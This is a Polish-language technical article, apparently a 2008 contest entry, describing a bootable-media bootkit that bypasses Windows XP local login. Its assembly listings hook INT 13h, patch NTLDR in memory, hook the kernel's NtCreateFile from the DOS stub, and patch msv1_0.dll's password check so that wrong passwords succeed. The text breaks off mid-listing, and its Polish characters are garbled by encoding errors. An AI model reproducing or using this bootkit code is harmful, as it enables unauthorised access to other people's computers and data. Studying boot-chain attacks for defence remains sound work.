Omijanie zabezpieczeń i logowania systemu windows


VEXILLIUM.ORG
Omijanie zabezpieczeń
lokalnego logowania systemu
Windows  nośniki bootowalne
Wersja polska
Mateusz  j00ru Jurczyk
2008-10-03
Praca została wykonana w celu zgłoszenia jej na
konkurs organizowany przez hack.pl
Spis treści
1 Wstęp 3
2 Właściwy start komputera 5
2.1 Tryb rzeczywisty i jego cechy 5
2.2 Proces bootowania w real mode 6
2.3 Układ pamięci operacyjnej 8
3 Tryb chroniony 9
4 Hakowanie autoryzacji 11
4.1 Cel, plany i założenia 11
4.2 Etap pierwszy - modyfikacja INT13h 13
4.3 Etap drugi  modyfikacja NTLDR 18
4.4 Etap trzeci  modyfikacja jÄ…dra 23
5 Przenoszenie kodu na CD-ROM 27
6 Efekt końcowy 30
7 Literatura 32
2
1. Wstęp
Od samego początku istnienia komputerów i możliwości ich programowania
znajdowane były luki bezpieczeństwa, które w różnoraki sposób dawały możliwość
blokowania rozmaitych usług, uzyskiwania dostępu do chronionych danych, zdalne
wykonywanie kodu na maszynie ofiary itd. Przez lata, wraz z rosnącą ilością firm
zajmujących się tworzeniem oprogramowania, mnożyła się liczba odkrytych dziur
oraz techniki ich znajdowania oraz wykorzystywania.
W trakcie rozwoju kolejnych systemów operacyjnych, języków programowania oraz
ich kompilatorów, powstały dziesiątki ciekawych, nowatorskich technik
zapobiegania zarówno lokalnym, jak i zdalnym atakom wykorzystującym
niedoskonałości software u. Najbardziej narażone na atak elementy procesu (stos,
sterta itd.) zostały (mniej lub bardziej) skutecznie zabezpieczone przed
standardowymi metodami wykorzystywanymi przez hakerów. Mimo to na
ogólnodostępnej liście bugtraq z dnia na dzień przybywa wiadomości o kolejnych
odkrytych błędach oraz możliwościach ich wykorzystania w praktyce. Proces
znajdowania, Å‚atania i zabezpieczania przed lukami w systemach informatycznych
nabiera coraz większego tempa, powodując nieustanny rozwój powiązanych
technologii.
Niewielu ludzi zdaje sobie jednak sprawę, jak wielkie szkody poczynić może ktoś,
kto ma jedynie fizyczny dostęp do naszej maszyny. Posiadając możliwość
bootowania komputera z dowolnego, przenośnego nośnika danych ma on w
rzeczywistości nieograniczone możliwości. Jeśli nasze dane nie są specjalnie
zabezpieczone przed nieuprawnionym dostępem (np. szyfrowane  sprzętowo lub
programowo), a jedyną ochroną jest ustawione w Windowsie hasło weryfikujące
naszą tożsamość w momencie logowania do systemu, potencjalny włamywacz
mógłby uzyskać dostęp do danych dysku twardego bez większego problemu.
W czym zatem tkwi tajemnica nieograniczonych przywilejów, jakie daje nam
możliwość użycia bootowalnego nośnika? Odpowiedz jest nad wyraz prosta  kod,
który zostaje uruchomiony w trakcie startowania maszyny jest w stanie dowolnie
sterować wykonywaniem systemu operacyjnego, dostępem do zasobów dysku
twardego, obsługą sprzętu i praktycznie każdą inną, wrażliwą częścią naszego
komputera. Może on, przykładowo, zmodyfikować kod odpowiedzialny za
potwierdzania poprawności wprowadzonego w trakcie logowania hasła, tak by
odpowiedz brzmiała zawsze HASAO POPRAWNE. Inną możliwością jest
zainstalowanie sieciowego backdoora w systemie niczego nie podejrzewajÄ…cej
3
ofiary. Raz uruchomiony złośliwy kod może więc przynieść nieodwracalne skutki, o
których zaatakowany użytkownik może nie mieć nawet zielonego pojęcia.
Artykuł ten prezentuje techniczne aspekty działania nośnika, który po
wystartowaniu odpowiednio kieruje pracÄ… uruchamianego systemu operacyjnego,
aby ten umożliwił zalogowanie się na dowolne istniejące w systemie konto, bez
znajomości jakichkolwiek danych autoryzacyjnych.
Zapraszam do lektury!
4
2. Właściwy start komputera
Wbrew powszechnej opinii, proces uruchamiania komputera jest niezwykle
złożony. Składa się z wielu, startujących kolejno elementów, które wykonane
prawidłowo dają możliwość pracy na poprawnie uruchomionym, stabilnym
systemie operacyjnym. Ten oraz następny dział przedstawiają poszczególne etapy
ładowania systemu operacyjnego, od BIOS u, aż po samo jądro systemu Windows
wraz z niezbędnymi usługami.
2.1 Tryb rzeczywisty
Zanim omówione zostanie działanie kodu dostarczonego przez Microsoft, który
odpowiedzialny jest za ładowanie samego systemu Windows, warto poznać pewne
cechy trybu, w którym znajdujemy się w momencie początkowej fazy uruchamiania
komputera  trybu rzeczywistego (ang. real mode).
Pierwszą, najbardziej charakterystyczną cechą jest z pewnością sposób, w jaki
adresowana jest pamięć. Możliwy jest dostęp do jedynie 1MB pamięci operacyjnej
(0  FFFFFh), adresowanej przy użyciu dwóch 16 bitowych liczb. Jeśli liczby te
oznaczymy kolejno jako A i B, wtedy adres fizyczny, do którego się odwołujemy
tłumaczymy w sposób następujący:
AAAA:BBBB -> A * 10h + B
1000:2345 -> 1000h * 10h + 2345h = 12345h
Pierwsza wartość nazywana jest numerem segmentu, druga zaś to jego przesunięcie.
Jak łatwo zauważyć, jeden adres fizyczny możemy zapisać na wiele sposobów  jest
ich dokładnie 4096.
Architektura procesora na którym operujemy, udostępnia 6 rejestrów
segmentowych, takich jak:
·ð CS  segment kodu programu (adres aktualnie wykonywanej instrukcji
procesora to CS:IP)
·ð DS  segment danych programu
·ð SS  segment stosu programu (peÅ‚ny adres stosu to SS:SP)
·ð ES, FS, GS  rejestry pomocnicze
5
Kolejną właściwością opisywanego trybu jest brak jakiejkolwiek ochrony pamięci
(która wprowadzona została już w trybie chronionym). Wykonywany kod może
pisać i czytać z dowolnego miejsca znajdującego się w adresowalnym zakresie. Dla
naszego projektu jest to zarówno ułatwienie i jak i przeszkoda. Z jednej strony
możemy bez najmniejszych problemów ingerować w systemowe struktury, takie jak
Tablica Deskryptorów Przerwań (ang. Interrupt Descriptor Table, IDT),
manipulując nimi według własnych potrzeb, z drugiej jednak nigdy nie mamy
całkowitej pewności, że kod/dane używane przez nasz program nie zostaną w
nieoczekiwanym momencie nadpisane. Sposób na radzenie sobie z tą
niedogodnością zostanie opisany w dalszej części artykułu.
Ostatnią interesującą cechą jest brak wielowątkowości, który na szczęście nie
stwarza dodatkowych problemów implementacyjnych.
Poniżej znajduje się lista plusów i minusów real mode, wynikających z powyższych
właściwości:
·ð Możliwość kontrolowania danych przepÅ‚ywajÄ…cych przez przerwania (IDT)
·ð Brak ochrony pamiÄ™ci
·ð BezpoÅ›redni dostÄ™p do fizycznych danych noÅ›ników
·ð Utrudniona alokacja pamiÄ™ci
·ð Niewielka przestrzeÅ„ adresowa
·ð Utrudnione debuggowanie (w przypadku fizycznych urzÄ…dzeÅ„)
2.2 Elementy bootowania trybu rzeczywistego
Sam proces ładowania systemu w trybie rzeczywistym to złożony mechanizm.
Poniżej znajduje się lista komponentów składających się na 16-bitową całość
loadera Windows, wraz ze szczegółowym opisem.
·ð BIOS (Basic Input/Output System)  kod znajdujÄ…cy siÄ™ w pamiÄ™ci staÅ‚ej pÅ‚yty
głównej, ładowany do pamięci pod adresem E0000h i uruchamiany w momencie
włączania komputera. Jest odpowiedzialny za podstawowe testy sprzętu (POST 
Power On Self Test), inicjalizację urządzeń wejścia/wyjścia oraz załadowanie i
uruchomianie programu rozruchowego z wybranego bootowalnego nośnika danych.
6
·ð MBR (Master Boot Record)  Pierwszy sektor dysku twardego, zawiera
program rozruchowy systemu oraz tabelę partycji. Zostaje załadowany przez BIOS
na adres fizyczny 07C00h (zapisywany najczęściej jako para 0000:7C00), skąd sam
kopiuje się pod 0061Bh, a następnie znajduje partycję oznaczoną jako Bootable,
Å‚aduje pierwszy sektor tej partycji ponownie na adres 07C00h i przekazuje
wykonywanie dalej.
seg000:0000 xor ax, ax
seg000:0002 mov ss, ax
seg000:0004 mov sp, 7C00h
seg000:0007 sti
seg000:0008 push ax
seg000:0009 pop es
seg000:000A push ax
seg000:000B pop ds
seg000:000C cld
seg000:000D mov si, 7C1Bh
seg000:0010 mov di, 61Bh
seg000:0013 push ax
seg000:0014 push di
seg000:0015 mov cx, 1E5h
seg000:0018 rep movsb
seg000:001A retf
Listing 1. Kod MBR odpowiedzialny za przenoszenie swojego ciała pod adres 0000:061Bh
Budowa:
512 bajtów
446 bajtów 64 bajty (4 x 16) 2
bajty
bootstrap Partycja Partycja Partycja Partycja 0x55
1 2 3 4 0xAA
Pierwsza część to kod wykonywalny, opisany powyżej. Kolejne 64 bajty to tablica
zawierająca informacje o partycjach, używana w kodzie bootstrap u. Każda z 4
partycji opisana jest przez 16 bajtowÄ… strukturÄ™. Ostatnie 2 bajty to sygnatura MBR.
·ð VBR (Volume Boot Record)  Pierwszy sektor partycji wybranej przez MBR.
Jego struktura zależna jest od systemu plików (FAT32/NTFS/inne), o którym
zawiera podstawowe informacje. Jako, że całość kodu jest zbyt duża, by zmieścić
się w jednym sektorze, kolejne części VBR są sukcesywnie wczytywane do pamięci
w momencie, kiedy stają się potrzebne. Jego głównym zadaniem jest znalezienie
pliku o nazwie NTLDR w katalogu głównym partycji, a następnie wczytanie jego
zawartości pod adres 20000h (2000:0000). Załadowany plik składa się z dwóch
części  programu trybu rzeczywistego, który opisany został poniżej oraz pliku
7
wykonywalnego PE, pracującego już w trybie chronionym. Jeśli wszystko się
powiedzie, wykonywanie zostaje przekazane do pierwszej części NTLDR.
·ð NT Loader (część pierwsza)  Jest to 16-bitowy program, bÄ™dÄ…cy jednoczeÅ›nie
ostatnim ogniwem łańcucha bootowania trybu rzeczywistego. Jego celem jest
inicjalizacja niezbędnych elementów środowiska i przełączenie procesora w tryb
chroniony. Następnie następuje załadowanie do pamięci drugiej części loadera (już
z użyciem adresowania 32-bitowego) i uruchomienie go.
2.3 Układ pamięci operacyjnej
Rysunek 1. Uproszczony układ pamięci tuż przed przejściem w tryb chroniony
8
3. Tryb chroniony
Tryb chroniony zawiera wiele poprawek i usprawnień względem starszego trybu
rzeczywistego. Pamięć jest adresowana za pomocą 32-bitowych wartości,
umożliwiając tym samym dostęp do maksymalnie ponad 4GB pamięci. Zawiera też
wsparcie wielowątkowości, stronicowanie oraz ochronę pamięci, której tak bardzo
brakowało real mode. To właśnie w tym trybie wykonywana jest cała dalsza część
procesu Å‚adowania systemu.
Poniżej znajduje się lista interesujących nas komponentów bootowania
32-bitowego, które w niedługiej przyszłości staną się naszym bezpośrednim celem.
·ð OSLOADER.exe (druga część pliku NTLDR)  standardowy plik PE
(Portable Executable). Do jego zadań należy parsing pliku konfiguracyjnego
boot.ini, opcjonalnie wyświetlenie menu wyboru systemu operacyjnego, obsługę
specjalnych opcji bootowania (dostępnych po naciśnięciu klawisza F8). Po
wykonaniu tych czynności OsLoader zabiera się za znacznie ważniejsze rzeczy 
ładuje do pamięci podstawowe elementy jądra  NTOSKRNL.exe i HAL.dll  oraz
sterowniki oznaczone jako boot driver. Jeśli wszystko się powiedzie, wykonywanie
zostaje przekazane do załadowanego wcześniej kernela systemu.
·ð NTOSKRNL.exe  jÄ…dro systemu Windows. InteresujÄ…cÄ… częściÄ… tego
niemałego pliku wykonywalnego jest kod odpowiedzialny za obsługę wywołania
systemowego o nazwie NtCreateFile, służącego m.in. do otwierania i tworzenia
plików na dysku twardym.
·ð LSASS.exe, LSASRV.dll (Local Security Authority Subsystem Service)  pliki
aplikacji odpowiadającej za bezpieczeństwo systemu. Weryfikuje dane logujących
się użytkowników, pośredniczy w operacjach zmiany haseł itd. Jest to proces, który
jest celem naszego ataku. Jedną z bibliotek używanych przez LSASS jest
msv1_0.dll, będąca odpowiedzialna bezpośrednio za weryfikację danych
wprowadzonych przez lokalnie logującą się osobę. Odpowiednia modyfikacja tejże
biblioteki może pozwolić na całkowite ominięcie procesu autoryzacji, dając
nieograniczony dostęp do zasobów komputera.
Poszczególne elementy ładowania systemu zostały przedstawione na rysunku 2.
9
Rysunek 2. Komponenty składające się na całośd procesu bootowania i ładowania systemu
Windows
Graf opisujÄ…cy architekturÄ™ LSASS widoczny jest na rysunku 3.
Rysunek 3. Zależności pomiędzy poszczególnymi elementami modułu logowania Windows. Nasz
cel to msv1_0.dll z którym, w momencie próby logowania, łączy się lsasrv.dll
zródło: http://technet.microsoft.com/en-us/library/cc780455.aspx
10
4. Hakowanie autoryzacji
4.1 Cel, plany i założenia
Przed zabraniem się za pisanie samego kodu bootsectora naszego nośnika, należy
przedstawić plany i założenia, jakimi będziemy kierować się w trakcie tworzenia
naszego hacka.
·ð ZaÅ‚ożenia ogólne
- Tworzymy łańcuch modyfikacji tak, że wcześniejszy element ładowania
modyfikuje następny, aż do osiągnięcia dostępu do LSASS
- Całość MUSI mieścić się w obszarze bootsectora  512 bajtach kodu
maszynowego
- Nie wykonujemy ŻADNYCH operacji na dysku twardym  wszystkie zmiany
przeprowadzane są tylko i wyłącznie w pamięci
·ð NiezbÄ™dne wiadomoÅ›ci o msv1_0.dll
- Pełna nazwa to Microsoft Authentication Package v1.0
- Zostaje wywoływana bezpośrednio przez Lsasrv.dll, od której to biblioteki
otrzymuje nazwę użytkownika i hasło użyte przy logowaniu
- Aączy się z bazą SAM, a następnie porównuje poprawny hash oraz hash
wprowadzonego hasła.
- Jeśli podane dane weryfikacyjne zostaną uznane za poprawne, msv1_0 zwraca
informacjÄ™ o udanym logowaniu
- Kod, który nas interesuje, przedstawiony jest w listingu 2.
- Kod ten należy do wewnętrznej funkcji MsvpPasswordValidate
.text:77C6989D loc_77C6989D:
.text:77C6989D 6A 10 push 10h ; Length
.text:77C6989F 83 C3 34 add ebx, 34h
.text:77C698A2 53 push ebx ; Source2
.text:77C698A3 56 push esi ; Source1
.text:77C698A4 FF 15 30 12 C6 77 call RtlCompareMemory
.text:77C698AA 83 F8 10 cmp eax, 10h
.text:77C698AD 75 11 jnz short loc_77C698C0
.text:77C698AF
.text:77C698AF loc_77C698AF:
.text:77C698AF B0 01 mov al, 1
&
.text:77C698C0 loc_77C698C0:
.text:77C698C0 32 C0 xor al, al
Listing 2. Funkcja RtlCompareMemory porównująca 16-bajtowe ciągi oraz wytłuszczony
modyfikowany skok warunkowy jnz
11
·ð Elementy modyfikowane
- Tablica deskryptorów przerwań (ang. Interrupt Descriptor Table  IDT) 
tablica 256 elementów będących wskaznikami na funkcje obsługujące konkretne
przerwania. Każdy ze wskazników jest standardowym adresem trybu
rzeczywistego  składa się z dwóch 16-bitowych wartości. Adres IDT to
0000:0000, zajmuje ona 256*4=1024 bajtów, a więc kończy się na 0000:0400.
Jedynym interesujÄ…cym nas przerwaniem jest przerwanie o numerze 13h,
odpowiedzialne za operacje odczytu sektorów z nośników danych. Adres owej
funkcji znajduje się pod adresem 13h*4 = 0000:004C. Własny kod, którym
zastąpimy standardową funkcję INT13h będzie modyfikował dalszy element 
drugą część NTLDR (OsLoader.exe)
- OsLoader.exe  zostaje spatchowany w miejscu, w którym kernel systemu jest
już obecny w pamięci. Wstrzyknięty przez nas kod ma za zadanie znalezć
wyeksportowaną funkcję NtCreateFile i ustawić w niej tzw. hak (ang. hook).
- Ntoskrnl.exe  Funkcja obsługi plików jest przekierowana do kodu
znajdującego się w DOS Stub kernela. Kiedy wykryta zostaje próba dostępu do
odpowiednio zdefiniowanego przez nas pliku, kod funkcji msv1_0.dll jest
zmodyfikowany, a hak funkcji NtCreateFile zdjęty.
- NTLM  ostatnie ogniwo łańcucha modyfikacji, w momencie próby
logowania przepuszcza błędne hasła.
Na rysunku 4 widoczne sÄ… kolejne elementy bootowania, wraz z odpowiednimi
oznaczeniami miejsc, które patchowane są w trakcie działania hacka.
Rysunek 4. Oznaczone komponenty biorące udział w ataku na moduł logowania
12
4.2 Etap pierwszy - modyfikacja INT13h
Jednym z założeń całego projektu jest brak jakichkolwiek operacji wykonywanych
na dysku twardym. Wiąże się z tym kilka rzeczy. Między innymi, nasz kod musi tak
modyfikować pamięć do której w danej chwili ma dostęp tak, by na końcu zostać
zakamuflowana w obszarze pamięci kernela oczekując na dogodny moment, by
usunąć skok warunkowy znajdujący się w jednej z bibliotek LSASS.
Znaczy to ni mniej ni więcej tyle, że całość kodu znajdującego się w naszym
bootsectorze musimy podzielić na podbloki, każdy z nich wykonywany w innym
momencie procesu bootowania. Kiedy jedna z funkcji naszego projektu zostaje
wywołana, wykonuje niezbędne modyfikacje pamięci tak, by kolejna część kodu
mogła zostać wywołana w odpowiednim czasie, a następnie przekazuje
wykonywanie z powrotem do oryginalnego kodu loadera Windows. Nasz kod
zwyczajnie przeplata się z kodem programu ładującego, który sukcesywnie
modyfikujemy.
Pierwszą częścią projektu jest fragment wywoływany bezpośrednio przez BIOS.
Jego celem jest ustawienie haka na wcześniej wspomniane przerwanie o numerze
13h, załadowanie MBR dysku twardego (tak, jak zrobiłby to BIOS w przypadku
bootowania z HDD) i przekazanie mu wykonywania. Jako, że pierwszy sektor
naszego nośnika został załadowany pod adres, na którym docelowo znalezć ma się
MBR, musimy wcześniej przenieść resztę kodu w miejsce, które w trakcie działania
loadera nie zostanie nadpisane.
Listing 3 przedstawia wspomniany pierwszy fragment bootsectora, odpowiedzialny
za hookowanie przerwania odpowiedzialnego m.in. za operacje Read i Extended
Read.
; [1]
TEMP_STACK equ 0x3000
BOOTCODE_ADDR equ 0x4000-0x200
MBR_ADDR equ 0x7C00
INT13_ADDR equ 13h * 4
MSV1_0_PATCH_ADDR equ 077C699B9h
[bits 16]
[org BOOTCODE_ADDR]
start:
jmp 0:MBR_ADDR+5
13
; [2]
mov cx, TEMP_STACK
mov ss, cx
xor cx, cx
mov sp, cx
mov ds, cx
mov es, cx
; [3]
pushad
mov ax, 0201h
inc ecx
cwd
mov bx, BOOTCODE_ADDR
int 13h
jmp _HOOK_INTERRUPT_GOTO_MBR - MBR_ADDR + BOOTCODE_ADDR
_HOOK_INTERRUPT_GOTO_MBR:
; [4]
mov ax, 0201h
or dl, 10000000b
mov bh, (MBR_ADDR>>8)
int 13h
; [5]
mov eax, [INT13_ADDR]
mov [INT13HANDLER], eax
mov dword [INT13_ADDR], @INT13HOOK_OFF
; [6]
popad
jmp MBR_ADDR
Listing 3. Kod odpowiedzialny za skopiowanie siÄ™ na adres 0x03E00, wczytanie MBR oraz
zainstalowanie hooka w Tablicy Deskryptorów Przerwań
Omówmy pokrótce kolejne fragmenty powyższego kodu.
Fragment [1] to deklaracje stałych wartości używanych w dalszej części kodu. Są to
kolejno: adres tymczasowego stosu, adres pamięci gdzie znajduje się nasz
bootsector przez cały okres działania real mode, adres pod który ładowany zostaje
MBR oraz adres wskaznika funkcji obsługującego modyfikowane przerwanie. Piąta
linia zawiera stały adres patchowanego na samym końcu kodu msv1_0.dll.
14
Właściwa część zródła  kod wykonywalny zaczyna się od instrukcji FAR JUMP,
która upewnia nas, że znajdujemy się pod adresem 0000:7C00, a nie np. 07C0:0000
(co mogłoby sprawić w przyszłości spore problemy).
Następnie we fragmencie [2] ustawiony zostaje tymczasowy stos, na którym
możemy bezpiecznie operować, rejestrom segmentowym przydzielane są
odpowiednie wartości. Stan wszystkich rejestrów zachowany zostaje przez
instrukcję [3], po której następuje ponowne wczytanie naszego bootsectora pod
ustalony wcześniej, bezpieczny adres. Używany do tej pory adres 7C00h zaraz
potem zajęty zostaje przez MBR w miejscu oznaczonym jako [4]. Kolejne linie
kodu odpowiadają za ustawienie opisywanego wcześniej hooka, przywrócenie
wartości rejestrów i skok pod adres definiowany przez MBR_ADDR.
Prosty schemat przedstawiający łańcuchy haków przerwań przedstawiony został na
rysunku 5.
Rysunek 5. Tablica deskryptorów przerwao  przekierowanie na adres 0000:4E42,
wywołujące następnie oryginalny handler spod adresu F000:E3FE
Należałoby się zastanowić, co w rzeczywistości robić ma kod haka, który dopiero
co został założony. Przydatnym wydaje się fakt, że nasz kod wywoływany zostaje
za każdym razem, gdy z dysku twardego odczytywane są jakieś dane, co daje nam
możliwość pełnej kontroli danych przepływających przez przerwanie.
Ja zdecydowałem się na wykorzystanie techniki użytej wcześniej w rootkicie
MEBROOT oraz projekcie SysRq autorstwa eEye Research, polegajÄ…cej na
bezpośredniej modyfikacji kodu drugiej części NTLDR  pliku OSLOADER.EXE,
15
jako, że jego zawartość wczytywana jest wciąż poprzez kontrolowane przez nas
przerwanie trzynaste, a czyni to Volume Boot Record. Mamy w ten sposób dostęp
do kodu wykonywanego już po przejściu w tryb chroniony, co daje nam dodatkowe
możliwości. Adres 0x00422A6F został uznany za odpowiednie miejsce na
wstrzyknięcie własnego kodu  w momencie dojścia wykonywania programu do tej
lokalizacji NTOSKRNL.EXE jest już obecny w pamięci. Wstrzyknięty kod może
zatem od samego początku działania systemu sterować działaniem syscalli 
podstawowych funkcji eksportowanych przez jądro, którymi operuje każda
działająca wewnątrz aplikacja.
Oto jak przedstawia się schemat działania podstawionego przez nas handlera:
·ð Sprawdz, czy żądana operacja to READ lub EXTENDED READ (czytanie z
dysku)
·ð JeÅ›li nie, skacz do oryginalnej funkcji
·ð Za pomocÄ… instrukcji CALL wywoÅ‚aj oryginalny handler
·ð JeÅ›li operacja odczytu nie powiodÅ‚a siÄ™, wyjdz
·ð Sprawdz, czy we wczytanych danych znajduje siÄ™ sygnatura, która powinna
zostać podmieniona
·ð JeÅ›li tak, modyfikuj odpowiednie dane, wstrzykujÄ…c wÅ‚asny kod do
Å‚adowanego pliku
·ð Przywróć poczÄ…tkowy stan stosu i wyjdz
Funkcja taka została napisana i świetnie zoptymalizowana przez badaczy eEye
Research, pozwoliłem więc sobie posłużyć się nim we własnym projekcie  można
znalezć ją w listingu 4.
@INT13HOOK_OFF equ $
@Int13Hook:
cli
pushf
cmp ah, 42h ; IBM/MS INT 13 Extensions - EXTENDED READ
je short @Int13Hook_ReadRequest
cmp ah, 02h ; DISK - READ SECTOR(S) INTO MEMORY
je short @Int13Hook_ReadRequest
popf
db 0EAh ; JMP FAR INT13HANDLER
INT13HANDLER EQU $
dd 0
@Int13Hook_ReadRequest:
16
mov[cs:INT13LASTFUNCTION], ah
;
; Invoke original handler to perform read operation
;
popf
pushf ; push Flags because we're simulating an INT
call far [cs:INT13HANDLER] ; call original handler
jc short @Int13Hook_ret ; abort immediately if read failed
pushf
cli
push es
pusha
;
; Adjust registers to emulate an AH=02h read if AH=42h was used
;
mov ah, 00h
INT13LASTFUNCTION EQU $-1
cmp ah, 42h
jne short @Int13Hook_notextread
lodsw
lodsw ; 02h WORD number of blocks to
transfer
les bx, [si] ; 04h DWORD transfer buffer
@Int13Hook_notextread:
;
; Scan sector for a signature of the code we want to modify
;
test al, al
jle short @Int13Hook_scan_done
cld
mov cl, al
mov al, 8Bh
shl cx, 9 ; (AL * 200h)
mov di, bx
@Int13Hook_scan_loop:
; 8B F0 MOV ESI, EAX
; 85 F6 TEST ESI, ESI
; 74 21 JZ $+23h
; 80 3D ... CMP BYTE PTR [ofs32], imm8
; (the first 6 bytes of this signature exist in other modules!)
17
repne scasb
jne short @Int13Hook_scan_done
; NOTE!
; The patched NTLDR code is placed at 0x422a6f
; on the up-to-date Windows XP SP2 version.
cmp dword [es:di], 74F685F0h
jne short @Int13Hook_scan_loop
cmp word [es:di+4], 8021h
jne short @Int13Hook_scan_loop
mov word [es:di-1], 15FFh ; FFh/15h: CALL NEAR [ofs32]
mov dword [es:di+1], @SyscallHookAddr
@Int13Hook_scan_done:
popa
pop es
popf
@Int13Hook_ret:
retf 2 ; discard saved Flags from original INT (pass back CF,
etc.)
Listing 4. Kod naszego handlera, znajdujÄ…cego odpowiedniÄ… sygnaturÄ™ w momencie
wczytywania całości pliku NTLDR i zmieniającego ją na kod przekierowujący
Kiedy nasza funkcja znajdzie już dane, które powinna podmienić, wstawia w ich
miejsce kod operacji (ang. opcode) instrukcji CALL [imm32]:
mov word [es:di-1], 15FFh ; FFh/15h: CALL NEAR [imm32]
mov dword [es:di+1], @SyscallHookAddr
tj. wywołania funkcji, do której wskaznik znajduje się pod stałym, 32-bitowym
adresem będącym argumentem tejże instrukcji. W naszym przypadku pointer ten
znajduje siÄ™ w zmiennej @SyscallHookAddr, i wskazuje na adres kolejnego bloku
kodu, do którego prowadzi właśnie wstawione w NTLDR wywołanie.
4.3 Etap drugi  modyfikacja NTLDR
Po przejściu do dalszej części loadera VBR i odczekaniu niedługiego czasu, w
którym to uruchamiana zostaje pierwsza, a następnie druga część NTLDR,
18
ponownie odzyskujemy kontrolÄ™ wykonywania, tym razem w znacznie ciekawszym
miejscu.
W tym momencie możemy dowolnie i bez konsekwencji  grzebać w całej pamięci
jądra Windows, nie ponosząc żadnych konsekwencji. Jest to stan, w którym sam
kernel nie jest jeszcze wykonywany, a więc absolutnie żadne oprogramowanie nie
ma większych praw od tych, które aktualnie posiada nasz kod, znajdujący się pod
@SyscallHookAddr.
ProponowanÄ… w tym momencie taktykÄ… jest ustawienie kolejnego przekierowania,
tym razem w jednej (wspomnianej wcześniej) z funkcji eksportowanych przez sam
kernel - funkcja ta jest równocześnie handlerem przerwania systemowego o nazwie
NtCreateFile. Wstrzykując do niej własny kod, możemy  podpiąć się do
dowolnego procesu wykorzystującego w danym momencie tę funkcję, a następnie
zmodyfikować pewne obszary pamięci tego procesu, jak na przykład kod jednej z
bibliotek.
Poważnym problemem, na który można natknąć się w tym momencie to trudność ze
znalezieniem odpowiedniego miejsca na kod, do którego miałoby odwoływać się
przekierowanie. Nie może to być używany wcześniej adres 0x3E00, gdyż jest on
poprawny jedynie w trybie rzeczywistym  w trybie chronionym nie ma
bezpośredniego dostępu do tego typu niskich obszarów pamięci, które
wykorzystywane były w początkowych fazach bootowania.
Autor zdecydował się na użycie zawartości tzw. DOS Stub  krótkiego programu
obecnego w każdym pliku PE, który uruchamiany jest w momencie próby odpalenia
Windowsowej aplikacji pod systemem DOS  pliku NTOSKRNL.exe. Pamięć ta nie
jest nigdy wykorzystywana w trakcie działania systemu, a mimo to znajduje się
wewnątrz pamięci przeznaczonej dla samego kernela, co pomaga ukryć się przed
pewną liczbą anty-rootkitów.
Miejsce to znajduje się 40h (64d) bajtów za adresem bazowym jądra i jest wielkości
ok. 168 bajtów, a więc taka jest górna granica rozmiaru naszego kodu,
wywoływanego każdorazowo w momencie użycia funkcji NtCreateFile.
@SyscallHookAddr dd @HookSyscall
@HookSyscall:
pushfd
pushad
cld
mov edi, [esp+24h]
19
and edi, 0FFF00000h
mov al, 0C7h
@PatchFunction_mlsigloop:
scasb
jne short @PatchFunction_mlsigloop
cmp dword [edi], 40003446h
jne short @PatchFunction_mlsigloop
mov al, 0A1h
@PatchFunction_mlbaseloop:
scasb
jne short @PatchFunction_mlbaseloop
mov esi, [edi]
mov esi, [esi]
lodsd
mov ebx, [eax+18h]
call GetExportedFuncAddr
mov dword [_NtCreateFileSyscallAddrFirst], eax
mov dword [_NtCreateFileSyscallAddrSecond], eax
add ebx, 40h
mov dword [_DosStubHookAddr] , ebx
mov byte [eax], 0E9h
inc eax
mov ecx, eax
neg ecx
lea edx, [ebx+ecx-5+1]
mov dword [eax], edx
mov edi, ebx ; edi
mov esi, NT_CREATE_FILE_HOOK_START
mov ecx, NT_CREATE_FILE_HOOK_END - NT_CREATE_FILE_HOOK_START
rep movsb
popad
popf
mov esi, eax
test eax, eax
jnz _no_cond_jmp
_cond_jmp:
add dword [esp], 21h
_no_cond_jmp:
20
Ret
Listing 5. Kod wykonywany po przekierowaniu z NTLDR
Przedstawiony wyżej, trzeci już fragment naszego kodu odpowiada za odnalezienie
poprawnego adresu, pod który załadowane zostało jądro systemu, a następnie
wykorzystanie tej informacji w celu odszukania adresu wyeksportowanej funkcji,
która ma zostać spatchowana. W tym celu wywołana zostaje funkcja
GetExportedFuncAddr, której działanie omówione zostanie w dalszej części
artykułu.
Po jej odnalezieniu mamy do czynienia z kolejnymi operacjami:
·ð Adres jÄ…dra zostaje zapisany w dwóch miejscach
·ð W miejsce pierwszych piÄ™ciu bajtów znalezionej funkcji zostaje wstawiona
funkcja JMP imm32  skok pod zdefiniowany przez nas adres, w tym przypadku
ImageBase+40h.
·ð Kod, do którego prowadzi przekierowanie zostaje skopiowany do  bufora w
DOS Stub ie przy użyciu instrukcji rep movsb
·ð WartoÅ›ci flag i rejestrów sÄ… przywrócone, a nastÄ™pnie instrukcje NTLDR, które
zostały nadpisane przez skok do miejsca w którym aktualnie jesteśmy zostają
wykonane.
Rysunek 6. NTOSKRNL.EXE w Rysunek 7. Zmodyfikowany DOS
oryginalnej postaci Stub i jedna z funkcji kernela
21
Na rysunkach 6 i 7 przedstawione zostały struktury pliku PE kernela w pamięci
przed i po modyfikacji (hook na funkcjÄ™ + zmodyfikowany DOS Stub).
Do omówienia została jeszcze tajemnicza funkcja GetExportedFuncAddr, która
przyjmujÄ…c w rejestrze EBX adres bazowy jÄ…dra zwraca adres jednej z
eksportowanej przez niego funkcji. Jej kod jest odpowiedzialny za przejście przez
kolejne struktury pliku PE, a następnie wylistowanie wszystkich udostępnionych
 na zewnątrz funkcji, gdzie każda nazwa zostaje porównana do stałego ciągu,
jakim jest właśnie 12-bajtowa nazwa NtCreateFile.
W celu lepszego zrozumienia działania poszczególnych fragmentów, komentarze
obecne w oryginalnym kodzie projektu zostały pozostawione.
GetExportedFuncAddr:
xor eax, eax
mov ecx, [ebx+3Ch] ; RVA of PE header
mov ebp, [ebx+ecx+78h] ; RVA of export directory
add ebp, ebx ; ptr to export directory
xor ecx, ecx ; iterator
mov edx, [ebp+1Ch] ; IMAGE_EXPORT_DIRECTORY::AddressOfFunctions
mov edi, [ebp+20h] ; IMAGE_EXPORT_DIRECTORY::AddressOfNames
mov eax, [ebp+24h] ; IMAGE_EXPORT_DIRECTORY::AddressOfNameOrdinals
; turn these values into VAs
add edi, ebx
add edx, ebx
add eax, ebx
@search_loop:
mov esi, [edi+4*ecx] ; get the current function's name
add esi, ebx ; and make a virtual address from it
cmp ecx, [ebp+18h] ; check if there are no more functions exported
jge _retloc
inc ecx
cmp dword [esi], 07243744eh ; "NtCr"
jnz @search_loop
cmp dword [esi+4], 065746165h ; "eate"
jnz @search_loop
cmp dword [esi+8], 0656c6946h ; "File"
jnz @search_loop
